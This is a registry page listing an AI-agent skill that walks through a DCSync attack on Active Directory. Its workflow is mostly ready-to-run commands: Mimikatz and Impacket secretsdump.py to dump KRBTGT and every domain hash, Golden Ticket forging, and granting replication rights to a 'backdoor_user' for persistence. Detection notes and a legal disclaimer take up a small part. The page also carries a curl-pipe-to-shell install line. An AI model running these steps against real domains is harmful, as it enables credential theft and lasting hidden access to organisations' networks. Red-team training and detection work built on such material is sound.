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mukul975/conducting-domain-persistence-with-dcsyncActive Directory и Windows

conducting-domain-persistence-with-dcsync

⁨Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals wi⁩

v1.03 установки+3 за 7 дней36,3 тыс. ЗвездыApache-2.0синхронизировано 12 часов назад

Установка

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$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install mukul975/conducting-domain-persistence-with-dcsync

Пишет в ⁦~/.notholy/skills⁩ после проверки подписи и SHA-256.

ПодписьПодписано, ed25519
qW4W7VsoH1…g5MK4MAg==CLI проверяет SHA-256 и подпись, прежде чем записать хоть один файл.
Пакет0b85d341…9a0797e2
0b85d3419818…75bd9a0797e28 файлов · ⁦12.1 KB⁩
ПроверкаСредний3 замечания
  • Исполняемый скрипт в составе навыкаscripts/agent.py
  • Исполняемый скрипт в составе навыкаscripts/process.py
  • Ссылки на внешние домены
Вся проверка
Источникgithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/conducting-domain-persistence-with-dcsync@54a7988

Эта запись еще не переведена на русский, поэтому показан текст на другом языке: English.

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

  • When conducting security assessments that involve conducting domain persistence with dcsync
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Identify accounts with DCSync (replication) rights in Active Directory
  • Perform DCSync using Mimikatz or Impacket's secretsdump.py
  • Extract the KRBTGT account hash for Golden Ticket creation
  • Dump all domain user password hashes for credential analysis
  • Forge Golden Tickets for persistent domain access
  • Grant DCSync rights to a controlled account for alternative persistence
  • Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1222.001 - File and Directory Permissions Modification: Windows
  • T1098 - Account Manipulation
  • T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

  1. Enumerate principals with replication rights:
    powershell
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
    
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
  2. Using Impacket's FindDelegation or custom LDAP query:
    bash
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
  3. Default accounts with DCSync rights:
    • Domain Admins
    • Enterprise Admins
    • Domain Controllers group
    • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

  1. Using Mimikatz (Windows):
    powershell
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
    
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
    
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
  2. Using Impacket secretsdump.py (Linux):
    bash
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
    
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
    
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
    
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/[email protected]

Phase 3: Golden Ticket Creation

  1. Using Mimikatz with extracted KRBTGT hash:
    powershell
    # Create Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
    
    # Create with specific group memberships
    mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> \
      /groups:512,513,518,519,520 /ptt"
  2. Using Impacket ticketer.py (Linux):
    bash
    # Create Golden Ticket
    ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
      -domain domain.local administrator
    
    # Use the ticket
    export KRB5CCNAME=administrator.ccache
    psexec.py -k -no-pass domain.local/[email protected]

Phase 4: Persistence via DCSync Rights

  1. Grant DCSync rights to a controlled account for persistence:
    powershell
    # Using PowerView - Add DS-Replication-Get-Changes-All rights
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
      -PrincipalIdentity backdoor_user -Rights DCSync
    
    # Verify rights were added
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
  2. Using ntlmrelayx.py for automated DCSync rights escalation:
    bash
    # Relay authentication to add DCSync rights
    ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user

Tools and Resources

Tool Purpose Platform
Mimikatz DCSync extraction, Golden Ticket creation Windows
secretsdump.py Remote DCSync (Impacket) Linux (Python)
ticketer.py Golden Ticket creation (Impacket) Linux (Python)
PowerView ACL enumeration and modification Windows (PowerShell)
Rubeus Kerberos ticket manipulation Windows (.NET)
ntlmrelayx.py DCSync rights escalation via relay Linux (Python)

Critical Hashes to Extract

Account Purpose Persistence Value
krbtgt Golden Ticket creation Indefinite domain access
Administrator Direct DA access Immediate privileged access
Service accounts Lateral movement Service access across domain
Computer accounts Silver Ticket creation Service-level impersonation

Detection Signatures

Indicator Detection Method
DrsGetNCChanges RPC calls from non-DC sources Network monitoring for DRSUAPI traffic from unusual IPs
Event 4662 with Replicating Directory Changes GUIDs Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs)
Event 4624 with Golden Ticket anomalies Logon events with impossible SIDs or non-existent users
ACL modifications on domain root object Event 5136 (directory service changes)
Replication traffic volume spike Network baseline deviation monitoring

Validation Criteria

  • Accounts with DCSync rights enumerated
  • KRBTGT hash extracted via DCSync
  • All domain credentials dumped successfully
  • Golden Ticket forged and validated for DA access
  • DCSync rights persistence mechanism established (if in scope)
  • Access to Domain Controller validated with Golden Ticket
  • Evidence documented with hash values and timestamps
  • Remediation recommendations provided (double KRBTGT reset, ACL audit)

Файлы этой версии

Права

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Замечания проверки

Проверено 13 нояб. 2026 г.

  1. СредняяФайл · Исполняемый скрипт в составе навыкаscripts/agent.py
  2. СредняяФайл · Исполняемый скрипт в составе навыкаscripts/process.py
  3. ИнфоСсылка · Ссылки на внешние домены

Чистая проверка снижает риск, но не доказывает, что пакет безопасен. Читайте то, что ставите.

ВерсияОпубликованаКоммитSHA-256ПодписьИзменение прав
v1.013 нояб. 2026 г.54a79880b85d341Подписана–

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